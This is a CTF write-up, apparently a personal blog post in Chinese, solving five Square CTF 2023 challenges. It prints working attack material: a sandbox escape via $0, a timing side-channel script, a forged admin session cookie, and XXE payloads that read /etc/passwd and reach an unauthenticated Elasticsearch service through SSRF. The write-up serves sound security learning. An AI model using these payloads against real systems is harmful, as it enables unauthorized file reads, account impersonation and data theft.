Square CTF 2023 Writeup
0x88dfac8bedc5 Lv3

[kidz-corner] Sandbox (25 pts)

连接服务器后进入一个只会执行每个命令第一个词的shell,且flag在当前目录中

1
2
3
Hi! Welcome to the kidz corner sandbox! we made it super safe in here - you can execute whatever command you want, but only one word at a time so you can't do anything too dangerous, like steal our flags!
ls
flag.txt sandbox.py

尝试cat flag.txt无效,只会执行cat。尝试进入正常的shell也被针对了

1
2
bash
woah there, that looks like a dangerous command! i'm not executing that...

猜测当前shell的argv[0]为某个shell的名称,输入命令$0后没被阻拦,猜测已进入一个正常的shell,再cat flag.txt打印出flag

1
2
3
$0
cat flag.txt
flag{did_you_use_ifs_or_python_let_me_know_down_in_the_comments}

[crypto] Crypto Slide Quest (100 pts)

此程序对flag进行加密然后输出密文。已知flag的形式为flag{.*},经过base64编码后的密文为LEs2fVVxNDMfNHEtcx80cB8nczQfJhVkDHI/Ew==,且加密算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main() {
_Static_assert(sizeof(key) == 7, "Invalid key size!");

char* output = malloc(sizeof(flag));
strncpy(output, flag, sizeof(flag));

int flag_len = strlen(flag);
int key_len = strlen(key);

for(int i = 0; i < flag_len - key_len + 1; i++) {
for(int j = 0; j < key_len; j++) {
output[i + j] ^= key[j];
}
}


printf("%s", output);
free(output);
return 0;
}

可以观察到key的大小为6(sizeof统计C字符串末尾的零字符),这个加密算法相当于把flag[:6],flag[1:7],…,flag[-7:-1]依次XOR了key,而且这个运算是自己本身的逆运算所以解密算法相当于重复加密过程

1
2
3
4
5
6
def decrypt(ct, key):
pt = bytearray(ct)
for i in range(len(ct) - len(key) + 1):
for j in range(len(key)):
pt[i+j] ^= key[j]
return pt

解密需要先推导出key值。已知ct[0] = flag[0] ^ key[0],那么key[0] = flag[0] ^ ct[0]。以此类推,对于 我们有ct[i] = flag[i] ^ key[i] ^ key[i-1] ^ ... ^ key[0] => key[i] = flag[i] ^ ct[i] ^ key[i-1] ^ ... ^ key[0],且ct[-1] = flag[-1] ^ key[-1] => key[-1] = flag[-1] ^ ct[-1]。由于flag[:5] = "flag{", flag[-1] = "}"已知,我们可以直接算出key然后进行解密。以下为解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from base64 import *

ct = b64decode("LEs2fVVxNDMfNHEtcx80cB8nczQfJhVkDHI/Ew==")
key = bytearray(6)
flag = bytearray(b"flag{" + b"\0"*(len(ct)-6) + b"}")

for i in range(5):
key[i] = flag[i] ^ ct[i]
for j in range(i):
key[i] ^= key[j]

key[-1] = flag[-1] ^ ct[-1]
print(decrypt(ct, key).decode())

[reversing] Orakl Password Checker (100 pts)

此程序会检查输入的flag并回应是否正确。程序的elf文件已给出,进行反编译并观察其检查函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
is_wrong = 0;
for ( i = 0; i < strlen(flag); ++i )
{
if ( is_wrong )
return is_wrong;
is_wrong = super_proprietary_super_advanced_password_checker_hasher(input[i], flag[i]);
if ( flag[i] == '}' )
return is_wrong;
}
return is_wrong;

__int64 __fastcall super_proprietary_super_advanced_password_checker_hasher(char input_byte, char flag_byte)
{
char abs_diff; // al

abs_diff = input_byte - flag_byte;
if ( flag_byte - input_byte >= 0 )
abs_diff = flag_byte - input_byte;
__asm { syscall; LINUX - }
return (unsigned int)abs_diff;
}

看起来只是在依次比较输入和flag的每位字节,发现不一致的情况下则返回错误。但代码中有一处突兀的syscall,使用gdb在此处设置断点后观察寄存器的状态

1
2
3
4
input: test
rax = 35
rdi = rbp - 0x20 => 0x000000000000000e 0x0000000000000000
rsi = 0

再次进行测试结果依旧相同,看起来程序在这里调用了nanosleep并且睡眠的时间正好等于当前输入字节与flag字节相减后的绝对值。那么可以通过测量程序响应时间来一位一位的找到整个flag值。以下为解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * 
from time import *
from math import floor

PIVOT = 96 # '`'

def guess_next_byte(partial_flag, guess, timeout=Timeout.forever):
r = remote("184.72.87.9", 8006)
r.recvuntil(b"wrong!\n")
r.sendline(partial_flag + guess.to_bytes(1))
start_time = time()
response = r.recvallS(timeout)
duration = time() - start_time
return duration

def find_next_byte(partial_flag):
distance_to_ans = floor(guess_next_byte(partial_flag, PIVOT))
guess = [ PIVOT + distance_to_ans, PIVOT - distance_to_ans ]
guess = list( filter( lambda val: val <= ord("z") and val >= ord("0"), guess ) )
for val in guess:
if guess_next_byte(partial_flag, val - 1, 3) < 2 and guess_next_byte(partial_flag,val + 1, 3) < 2:
partial_flag.append(val)
break
return

partial_flag = bytearray(b"flag{")
while partial_flag[-1] != ord("}"):
find_next_byte(partial_flag)

[web] Be The Admin (75 pts)

观察到网站主页有两条超链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<h1>Be The Admin</h1>
<br>
<table>
<tbody><tr>
<th>ID</th>
<th>Name</th>
</tr>
<tr>
<td>1</td>
<td><a href="/profile?id=1">CTF Participant</a></td>
</tr>
<tr>
<td>2</td>
<td><a href="/profile?id=2">Admin</a></td>
</tr>
</tbody></table>

进入第一条链接,显示账户名称与secret值

1
2
3
4
<h1>Profile</h1>
<br>
<p>Name: CTF Participant</p>
<p>Secret: This is a secret message</p>

第二条链接同理只不过看不到Secret,

1
2
3
4
<h1>Profile</h1>
<br>
<p>Name: Admin</p>
<p>Secret: User&#39;s can only see their own secret</p>

提示每个用户只能看到他们自己的secret,说明系统认为我们是第一个用户CTF Participant而不是Admin。为了变成Admin需要知道身份的判定机制。观察到进入用户页面时HTTP请求如下

1
2
3
4
5
6
7
8
9
10
GET /profile?id=1 HTTP/1.1
Host: 184.72.87.9:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session_id=Q1RGIFBhcnRpY2lwYW50
Connection: close

猜测系统通过url参数id以及cookie参数session_id来去确定用户的身份,其中session_id很像base64码,对其解码变成了用户名

1
2
base64 --decode <<< "Q1RGIFBhcnRpY2lwYW50"
CTF Participant%

据此可以推出Admin用户的session_id

1
2
echo -n "Admin" | base64 
QWRtaW4=

通过主页可以知道Admin的id为2。替换原有的idsession_id后发送请求,发现用户名变成了Admin但是依然看不到secret,将session_id后面的填充符=去掉后成功拿下

1
2
3
4
5
6
7
8
9
10
GET /profile?id=2 HTTP/1.1
Host: 184.72.87.9:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session_id=QWRtaW4
Connection: close
1
2
3
4
<h1>Profile</h1>
<br>
<p>Name: Admin</p>
<p>Secret: flag{boyireallyhopenobodyfindsthis!!}</p>

[Web] Just Go Around (250 pts)

观察到网站主页可以输入一个关键词然后显示所有与其相关的帖子,包括作者和标题。将关键词作为sql注入点进行注入,没有效果

1
2
3
sqlmap -r search-request.http -p query 
...
all tested parameters do not appear to be injectable.

查看主页的源码,发现有一行有趣的注释

1
<!--<a href="/post">Post</a>-->

发现一个用于发帖的页面/post。提交表单后抓包发现帖子数据以xml格式被POST到了/accept路径,然后被重定向到/accept页面显示帖子并提示发帖功能暂不可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /accept HTTP/1.1
Host: 184.72.87.9:8013
Content-Length: 221
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://184.72.87.9:8013
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://184.72.87.9:8013/post
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

postXml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22+standalone%3D%22no%22%3F%3E%3Cpost+author%3D%22CTF+Participant%22+id%3D%220%22+title%3D%22test-title%22%3E%3Cmessage%3Etest-message%3C%2Fmessage%3E%3C%2Fpost%3E

进行url解码

1
<?xml version="1.0" encoding="UTF-8" standalone="no"?><post author="CTF+Participant" id="0" title="test-title"><message>test-message</message></post>

尝试利用XXE注入将/etc/passwd放到帖子的内容里

1
2
3
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE post [ <!ENTITY passwd SYSTEM "/etc/passwd"> ]>
<post author="CTF Participant" id="0" title="test-title"><message>&passwd;</message></post>

进行url编码并塞进postXml参数然后发送

1
%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%20standalone%3d%22no%22%3f%3e%0a%3c!DOCTYPE%20post%20%5b%20%3c!ENTITY%20passwd%20SYSTEM%20%22/etc/passwd%22%3e%20%5d%3e%0a%3cpost%20author%3d%22CTF%20Participant%22%20id%3d%220%22%20title%3d%22test-title%22%3e%3cmessage%3e%26passwd%3b%3c%2fmessage%3e%3c%2fpost%3e

成功拿下/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <table>
<tr>
<th>Author</th>
<th>Title</th>
<th>Message</th>
</tr>
<tr>
<td>CTF Participant</td>
<td>test-title</td>
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</td>
</tr>
</table>

如果塞入的xml语句无法被解析则parser的报错会被显示出来,暴露出此网站由java搭建

1
2
3
4
org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 20; XML version &quot;5.0&quot; is not supported, only XML 1.0 is supported.
at java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:262)
at java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:342)
...

利用XXE探索服务器目录,看起来网站使用了SpringBoot框架,找到数据库配置文件/JustGoAround/src/main/resources/application.properties

1
spring.datasource.url=http://${ELASTIC_HOST:db}:9200

用搜索引擎搜索ELASTIC_HOST:db,跳出ElasticSearch数据库的相关结果。利用XXE让服务器访问ES相关API,成功显示结果,确认存在ES未授权访问漏洞

1
<!DOCTYPE post [ <!ENTITY passwd SYSTEM "http://db:9200/_nodes"> ]>

尝试查看数据库信息

1
<!DOCTYPE post [ <!ENTITY passwd SYSTEM "http://db:9200/_search"> ]>

找到flag

1
{"took":0,"timed_out":false,"_shards":{"total":1,"successful":1,"skipped":0,"failed":0},"hits":{"total":{"value":5,"relation":"eq"},"max_score":1.0,"hits":[{"_index":"posts","_id":"1","_score":1.0,"_source":{"id":"1","author":"Admin","title":"Secret Post","message":"flag{tHISiSapRIVATEpOSTdONTlOOK}","isActive":false}},{"_index":"posts","_id":"2","_score":1.0,"_source":{"id":"2","author":"CTF Participant","title":"First Post","message":"Hey, this is my first post!","isActive":true}},{"_index":"posts","_id":"3","_score":1.0,"_source":{"id":"3","author":"Hackerman","title":"Idea","message":"I'm wondering if I can access deleted posts on this site... I haven't had any luck with the search form, but maybe there's another way to reach the DB?","isActive":true}},{"_index":"posts","_id":"4","_score":1.0,"_source":{"id":"4","author":"Funny Guy","title":"Joke","message":"TODO: Come up with a good joke so CTF Participants can have a good chuckle","isActive":true}},{"_index":"posts","_id":"5","_score":1.0,"_source":{"id":"5","author":"Admin","title":"Oops","message":"I can't believe I posted my secrets earlier :( Luckily I deleted that post before anyone saw... I hope it was really deleted though","isActive":true}}]}}